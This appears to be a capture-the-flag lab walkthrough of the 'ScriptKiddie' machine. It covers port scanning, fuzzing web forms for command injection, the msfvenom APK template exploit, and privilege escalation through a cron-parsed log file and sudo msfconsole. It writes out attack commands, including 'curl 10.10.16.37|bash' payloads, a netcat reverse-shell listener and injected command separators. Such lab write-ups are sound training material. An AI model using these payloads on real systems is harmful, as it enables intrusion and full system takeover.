💥Cyb3rBook

SCRIPTKIDDIE

22 min read

PRIMARY CATEGORY → EASY

Summary

  • Trying different Command Injection Techniques
  • Fuzzing HTTP POST Parameters using special chars with FFUF
  • Command Injection via MSFVenom APK Template
  • Local PE by Command Injection into a Bash Script via a Log File
  • Local PE via MSFConsole using Sudo (Sudoers Privilege)

Setup

Directory creation with the Machine’s Name

mkdir ScriptKiddie && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

Reference

mkt

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.95.150

As mentioned, according to the TTL, It seems that It is a Linux Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG allPorts 10.129.95.150

Open Ports → 22 and 5000

Comprehensive Scan

The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard

extractPorts allPorts

Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts

Note that this scan is also exported to have evidence at hand

nmap -p22,5000 -sCV -n -Pn --disable-arp-ping -oN targeted 10.129.95.150
OS Version (Codename)

In Linux Systems, the Operative System Version could be extracted through Launchpad

According to the Version Column Data of the Comprehensive Scan, proceed as follows →

  • 22 - SSH

Reference

OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 site:launchpad.net

Codename → Ubuntu Focal

This can be verified once the shell is obtained, i.e. the system has been compromised

There are several ways to carry out it →

cat /etc/os-release
hostnamectl # If System has been booted via Systemd
lsb_release -a
cat /etc/issue
cat /proc/version
22 - SSH

OpenSSH Version → v8.2

The Version of the Service running can also be obtained via Banner Grabbing as follows →

nc -vz 10.129.95.150 22 <<< ""
5000 - HTTP

Since we do not have any valid credentials yet in order to connect to the remote machine via SSH, it seems that the entry vector is on this HTTP port

Web Technologies

First, we can try to gather the Web Technologies running behind the Website to know exactly what we are facing

We can use whatweb or inspect the content of the HTTP Response from the web server with curl

whatweb http://10.129.95.150:5000
curl --silent --request GET --location --head 'http://10.129.95.150:5000'

We see that the Web Server is using Werkzeug to handle the HTTP Requests and issue the respective HTTP Response

Since several Python-based Web Frameworks uses the Werkzeug library, we do not know exactly if we are facing Flask or another one

But, we can start thinking about Server Side Template Injection (SSTI) or Command Injection through certain calls to system functions using the os or subprocess libraries

Browser-Based Inspection

We do not know any valid domain or subdomain used as a Virtual host, so we can only request the Web Content delivered from the IP Address

  • http://10.129.95.150:5000

Note that we have three interesting sections →

  • Nmap (Top 100 Ports)
  • Payloads (Venom it Up)
  • Sploits (Searchsploit FTW)

Each of them has its own web form, so the user input is processed, some injection may occur in any of them

Nmap Section

It requests an IP Address in the form to scan the top 100 ports on that IP

We can test this feature by using tshark to intercept all incoming TCP Traffic from the remote machine

If it works correctly, we should receive traffic on the most commonly used TCP ports according to Nmap

bash -c 'timeout 20 tshark --interface tun0 -Y "ip.src == 10.129.95.150" -T fields -e "tcp.dstport" 2> /dev/null' | sort -u | wc -l

With the above command, we check that we have received traffic to 100 TCP Ports from the target

The above output, after the scan, is an Nmap scan, so, we know that Nmap is being executed

We could try a basic command injection in the Nmap form such as the following one

10.10.16.37 ; whoami

But we get the this error →

There may be some non-alphanumeric character that cause the application to behave differently

Therefore, we can use Ffuf to test it

ffuf -c -of md -o nmap.ffuf -X POST -d 'ip=10.10.16.37FUZZ&action=scan' -H 'Content-Type: application/x-www-form-urlencoded' -w /usr/share/seclist/Fuzzing/special-chars.txt -u http://10.129.95.150:5000

Since all the special chars return the same size, words and lines, the HTTP Response Body for each one is the same

We can make an HTTP Request to the above URL specifying one of them to see the HTTP Response Body

curl --silent --location --request POST --data 'ip=10.10.16.37;&action=scan' --header 'Content-Type: application/x-www-form-urlencoded' 'http://10.129.95.150:5000' | html2text

And we get the “invalid IP” message, so it looks that the user input is being correctly sanitized

We could try to scan the localhost address from that Nmap Scanner to see if there are more open ports as the scan is performed locally

But there is the same ammount of open ports, so let’s move on to the next section

Sploits Section

If we enter any character in the field and send the data, it seems that another system command is being executed, this time searchploit

We know that the Server-Side Programming Language is Python, so it is probably running system commands using the os or subprocess library

This is the data sent by the HTTP Post Request

Therefore, since we do not have access to inspect the application’s source code, let’s check if the input is also correctly sanitized

test; whoami

We get the above message if we send the previous payload

If we delete the special character, used in this case to be able to separate two commands at the system level, the output is different

It does not detect any attack

We use ffuf again to check all the special characters

ffuf -c -fw 121 -of md -o sploits.ffuf -X POST -d 'search=testFUZZ&action=searchsploit' -H 'Content-Type: application/x-www-form-urlencoded' -w /usr/share/seclist/Fuzzing/special-chars.txt -u http://10.129.95.150:5000

We exclude all the HTTP Requests which contains in the HTTP response 121 words as it will contain the same output as the previous image

But, something similar happens with the above characters, if we make an HTTP Request using those characters

for _char in '.' '+' '&' ; do curl --silent --request POST --location --data "search=test${_char};&action=searchsploit" --header 'Content-Type: application/x-www-form-urlencoded' 'http://10.129.95.150:5000' | html2text | awk '/\[searchsploit\]/,0' ; done

Therefore, the user input is also being correctly sanitized in this section

We could do the same thing for the other POST parameter, but the same history happens

Payloads Section

And we arrive to the last section, the payloads one

It looks that this section generates a certain payload for the user according to the selected OS

The interesting thing is that we can upload a template file

We know that the msfvenom binary supports input templates for generating a payload

Therefore, it might uses msfvenom to create the payload

We could think about uploading a malicious file or template for msfvenom

If we search for something similar on the internet, we came across the following

It says that there is a Command Injection vulnerability in a specific version of msfvenom

First of all, we do not know if msfvenom is being used, and we do not know if the version of msfvenom installed is the vulnerable one

We see that the reference is from ExploitDB, so we could search for this vulnerability using searchsploit

searchsploit msfvenom

And there is a match

Exploitation

Command Injection via MSFVenom APK Template

So it seems that there is a way to get command injection by uploading a malicious APK template

I suppose that the payload is executed when the given binary, in this case msfvenom, parses the data of the provided template

Reference

Therefore, simply copy the content of this python PoC and modify the payload parameter value as follows

payload = 'curl 10.10.16.37|bash'

Then, run the script to create the malicious APK file

python3 exploit.py

APK File Path → /tmp/tmp9n1wat73/evil.apk

Before upload the above file →

Create an index.html file with the following content →

nvim index.html

And build a Simple HTTP Server using python

python3 -m http.server 80

All that remains is to set up a listener on port 443 and upload the malicious APK Template

nc -nlvp 443
  • Upload the malicious APK File

Shell as Web User

Once a connection via Reverse Shell is stablished, just proceed as follows to upgrade the obtained shell to a Fully Interactive TTY

Reference

Script
script /dev/null -c bash
<C-z>
stty raw -echo ; fg
reset xterm
export TERM=xterm-256color
export SHELL=/bin/bash
. /etc/skel/.bashrc
stty rows 61 columns 248

Privesc #1

Initial Non-Privileged User → kid

Before proceeding with the enumeration, just grab the content of the user.txt flag

cat ~/user.txt
Command Injection in Bash Script via a Log File

We check if the user belongs to any system group that involves a privesc vector

id

Nothing interesting

We could check if the user has any sudo privileges and is able to run a specific binary or command as some user

But, this time we have no valid password

sudo -l

Let’s list the binaries on the system with the SUID privilege enabled

find / -path '/snap*' -prune -o -perm -4000 -type f -ls 2> /dev/null

There are no interesting ones apart from pkexec, but we will not exploit it as it is not the intended privesc way

We also list the capabilites assigned to certain binaries in the system

getcap -r / 2> /dev/null

Nothing here either

If we list the existent directories in the /home directory →

ls /home

There is another user called pwn

We can list all availabe resources in the kid’s home directory, but there is nothing such as a defined alias in .bashrc or a list of executed commands in .bash_history

However, there is a logs directory which is world-writable

We can list the resources in the pwn user’s home directory that we can read as the current user

find /home/pwn -readable -ls 2> /dev/null

There is a .sh script

We inspect its content to see what exactly it does

It parses the information contained within the specified log file called hackers located inside the previous mentioned world-writable directory

Specifically, it does the following actions →

  • Extract from the third columns to the end of every line of the log file → input | cut -d' ' -f3-

  • Remove the dupes → input | sort -u

  • Iterate through each line of the provided input → input | while read ip; do ... ; done

For each iteration, it runs an nmap command which scans the value of the line provided as input i.e. the output of the previous command

It therefore expects an ip for each line

The problem here is that the input is not being sanitized and the user running the script can control the provided input

Remember that others have write perms on the /home/kid/logs directory

Therefore, we could create a file called hacker and add a line to it that performs the following action →

  • Exit the Nmap execution context using a command separator such as ; or a subshell $( command )

  • Execute any command we want from the new context

  • Comment out the remaining part of the first command to avoid syntax errors

We have to take into account how the script parses the information contained within the log file

It takes from the third columns to the end of each line taking as separator a blank, so, in order to inject the command we want, we have to add two random chars separated by a blank before the mentioned command

It would be something like this →

x y ; ping -c1 10.10.16.37 #

or like this

x y ; $( ping -c1 10.10.16.37 ) #

But, before continue, we need to know who is running this script

To do this, we can transfer a pspy binary to the remote machine

From the Attacker
  • Download the pspy binary
curl --silent --location --request GET 'https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64' --output pspy64
  • Build a Simple HTTP Server with Python
python3 -m http.server 80
From the Target
  • Transfer the Binary and execute it
curl --silent --request GET --location 'http://10.10.16.37/pspy64' --output /dev/shm/pspy64
chmod 777 !$
!$

While this binary is logging in the terminal all running processes, we can run the following command to add a line to the log file mentioned above

echo 'x y ; ping -c1 10.10.16.37 #' >> /home/kid/logs/hackers

As soon as the line is added, a scheduled task is executed, which triggers the following commands and actions

The /home/pwn/scanlosers.sh script is executed by the user identified by UID 1001

id 1001

It is the pwn user

Therefore, if we inject an arbitrary command via the log file, when the pwn user executes the scanlosers.sh script, we will run system commands as pwn

So, we can do the PoC using a ping command to check if we receive an ICMP packet

If we do so, we can proceed by injecting the typical bash oneliner to send a reverse shell from the target to our machine

Therefore, we can use tcpdump to listen for icmp packets from the attacker

tcpdump --interface tun0 -v -n icmp

And inject the command into the log file by adding the following line →

echo 'x y ; ping -c1 10.10.16.37 #' >> /home/kid/logs/hackers

And we received them!

So, let’s leverage of the index.html created to share it through a Simple HTTP Server with python and inject a command requesting the content of this file and interpret its content with bash

  • From the Attacker ⚔️
python3 -m http.server 80
nc -nvlp 443
  • From the Target 🎯
echo 'x y ; curl 10.10.16.37|bash #' >> /home/kid/logs/hackers

And we received a reverse connection!

Privesc #2

Non-Privileged User → pwn

MSFConsole using Sudo

Again, first of all, we see which groups the current user belongs to

id

Nothing interesting

Next, we check if the current user has any sudoers privileges assigned

sudo -l

And we have one!

This time we can run the binary /opt/metasploit-framework-6.0.9/msfconsole as root without providing a password for the user

It seems to be the full path of the msfconsole binary

command -V msfconsole

But it’s not, so we will have to specify the full path to the binary in order to run it as root without providing a password

sudo -u root /opt/metasploit-framework-6.0.9/msfconsole

We will enter to the metasploit console as root, so any command execute inside it will be as root

From here, we can just spawn a bash as follows

msf6 > bash

Or, we could enter to the IRB (Interactive Ruby Shell) and proceed as follows in order to execute any system command

Reference

msf6 > irb
>> system("/bin/bash")

And we’re done! Just grab the root.txt flag and move on to the next machine 😊

cat /root/root.txt

Graph View

Backlinks